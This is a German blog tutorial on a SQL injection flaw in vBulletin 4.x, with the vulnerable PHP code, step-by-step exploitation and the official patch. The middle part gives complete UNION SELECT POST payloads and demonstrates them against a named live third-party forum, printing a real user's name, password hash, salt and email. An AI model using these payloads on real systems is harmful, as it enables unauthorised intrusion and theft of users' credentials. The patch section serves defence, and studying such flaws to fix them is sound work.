Ahoi,
Seit dem letzten Knueller von vBulletin, habe ich eigentlich nicht mehr mit einer gravierenden Luecke gerechnet. Doch am 05.04.2011 wurde dann ein “vBulletin 4.X Security Patch” veroeffentlicht. Inzwischen sind schon einige Tage vergangen und ich hoffe, dass der ein oder andere Admin sein Board inzwischen updated hat.
Interessant ist beispielsweise, dass es folgende Versionen betrifft:
vBulletin Publishing suite
- 4.1.2
- 4.1.1
- 4.1.0 PL2
- 4.0.8 PL2
- 4.0.7
- 4.0.6
- 4.0.5
- 4.0.4 PL1
- 4.0.3 PL1
- 4.0.2 PL4
- 4.0.1
- 4.0.0 PL1
vBulletin Forum classic
- 4.1.2
- 4.1.1
- 4.1.0 PL2
- 4.0.8 PL2
- 4.0.7
- 4.0.6 PL1
- 4.0.5
- 4.0.4 PL1
- 4.0.3 PL1
- 4.0.2 PL4
- 4.0.1
- 4.0.0 PL1
Kurz gesagt <= 4.1.2 | vBulletin 3.x ist davon nicht betroffen. Das ganze hoert sich interessant an - ist es auch!
Wo befindet sich die Luecke?
Hinweis: Meine Zeilen beziehen sich auf die vB Version 4.1.2 – bei niedrigeren Versionen _kann_ die Zeilenangabe variieren, die Luecke ist aber die gleiche.
Dann schauen wir uns mal 2 Dateien an, zuerst die /vb/search/searchtools.php – dort gehen wir in Zeile 715, die in etwa so aussieht:
public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
{
global $vbulletin, $vbphrase;
$names = array();
if (is_array($id))
{
//If we have an array, we have to use equals.
$sql = "SELECT DISTINCT $table.$fieldname from " . TABLE_PREFIX . "$table AS
$table WHERE $key IN (" . implode(', ', $id) . ")";
if ($rst = $vbulletin->db->query_read($sql))
{
while($row = $vbulletin->db->fetch_row($rst))
{
$names[] = $row[0];
}
}
if (count($names) > 0)
{
return $table_display . ': ' . implode(', ', $names);
}
}
else
{
//If we got here, we have a single value
if ($row = $vbulletin->db->query_first("SELECT $table.$fieldname from " . TABLE_PREFIX . "$table AS
$table WHERE $key = $id"))
{
return $table_display . ' ' . self::getCompareString($comparator, $is_date)
. ' ' . $row[0];
}
}
return "";
}
Vorallem die Variable $id ist nun fuer uns interessant, da sie in dieser Datei nicht gefiltert/ueberprueft wird.
Nun schauen wir, wo diese verwundbare Funktion verwendet wird und finden dann in /packages/vbforum/search/type/socialgroup.php Zeile 201 – 203:
vB_Search_Searchtools::getDisplayString('socialgroupcategory', $vbphrase['categories'],
'title', 'socialgroupcategoryid', $value, vB_Search_Core::OP_EQ, true ));
Wenn wir das nun mit der obigen Funktion vergleichen:
public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
{
global $vbulletin, $vbphrase;
$names = array();
if (is_array($id))
{
Wird es diese wohl sein 😉
Wie nutze ich das nun aus?
Wie oben gesehen, wird es wohl etwas mit den “socialgroups” also den “Gruppen” unter vBulletin und einer Suche dort zu tun haben. Ich werde euch _eine_ Moeglichkeit zeigen. wie ihr die Luecke ausnutzen koennt. Es empfiehlt sich ein Addon wie “Live HTTP Headers” (fuer Firefox) zu benutzen, da wir mit dem POST Parameter arbeiten werden.
Schauen wir uns mal die Suche (search.php) an:
Erstmal klicken wir auf “Search by Type” bzw. “Search Multiple Content Types”, waehlen dort dann “Gruppen” (bzw. Groups) aus und suchen am besten nach einer Gruppe, die auch existiert – ich werde es anhand von einem Live Beispiel demonstrieren.
Habe mir dieses Forum kurz geschnappt:
http://airoma.org/forum
Nun suchen wir nach “team”, da es ein paar Gruppen gibt, die den Text im Titel haben:
Einen Treffer gibts auch:
Schauen wir uns mal den POST Inhalt an, der in meinem Fall so aussieht:
type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=
Um nun die Luecke auszunutzen, haengen wir unsere SQL Injection hinten dran:
type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT 'haxhax' #
Und sieh an, sieh an:
Eine eindeutige Ausgabe 🙂
Nun kann man zum Beispiel so weiter machen:
type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat_ws(0x3a,username,password,salt,email) FROM bulletinuser limit 1,1#
und siehe da:
Richard™:cecc1cac4442df94e95eae0f02a0c64e:W&c$q#V}rD85C'D7~0,($cg,:/N:L#:[email protected]
Quasi owned 😉
Wie behebe ich die Luecke?
Als vB Kunde einfach den passenden Patch benutzen, auf vBulletin 4.1.3 updaten oder “von hand” schnell fixxen (ich werde die Methode zeigen, welche im Patch Level verwendet wurde):
/vb/search/searchtools.php
$id = $vbulletin->db->sql_prepare($id);
if (is_array($id))
{
Sprich es wurde einfach “$id = $vbulletin->db->sql_prepare($id);” hinzugefuegt. Nun _muss_ noch die
/includes/class_core.php
editiert werden, naemlich:
Alt (Zeile 750):
function sql_prepare($value)
{
if (is_string($value))
{
return "'" . $this->escape_string($value) . "'";
}
else if (is_numeric($value) AND $value + 0 == $value)
{
return $value;
}
else if (is_bool($value))
{
return $value ? 1 : 0;
}
else
{
return "'" . $this->escape_string($value) . "'";
}
}
Neu:
function sql_prepare($value)
{
if (is_string($value))
{
return "'" . $this->escape_string($value) . "'";
}
else if (is_numeric($value) AND $value + 0 == $value)
{
return $value;
}
else if (is_bool($value))
{
return $value ? 1 : 0;
}
else if (is_null($value))
{
return "''";
}
else if (is_array($value))
{
foreach ($value as $key => $item)
{
$value[$key] = $this->sql_prepare($item);
}
return $value;
}
else
{
return "'" . $this->escape_string($value) . "'";
}
}
Soviel dazu erstmal, wuensch euch noch eine tolle Woche, mein naechstes Linux Tutorial folgt am Wochenende!
// Hinweis: Der Eintrag war damals http://j0hnx3r.org/?p=818 und ist nun ueber https://j0hnx3r.org/?p=818 bzw https://j0hnx3r.org/vbulletin-4-x-sql-injection-vulnerability/ erreichbar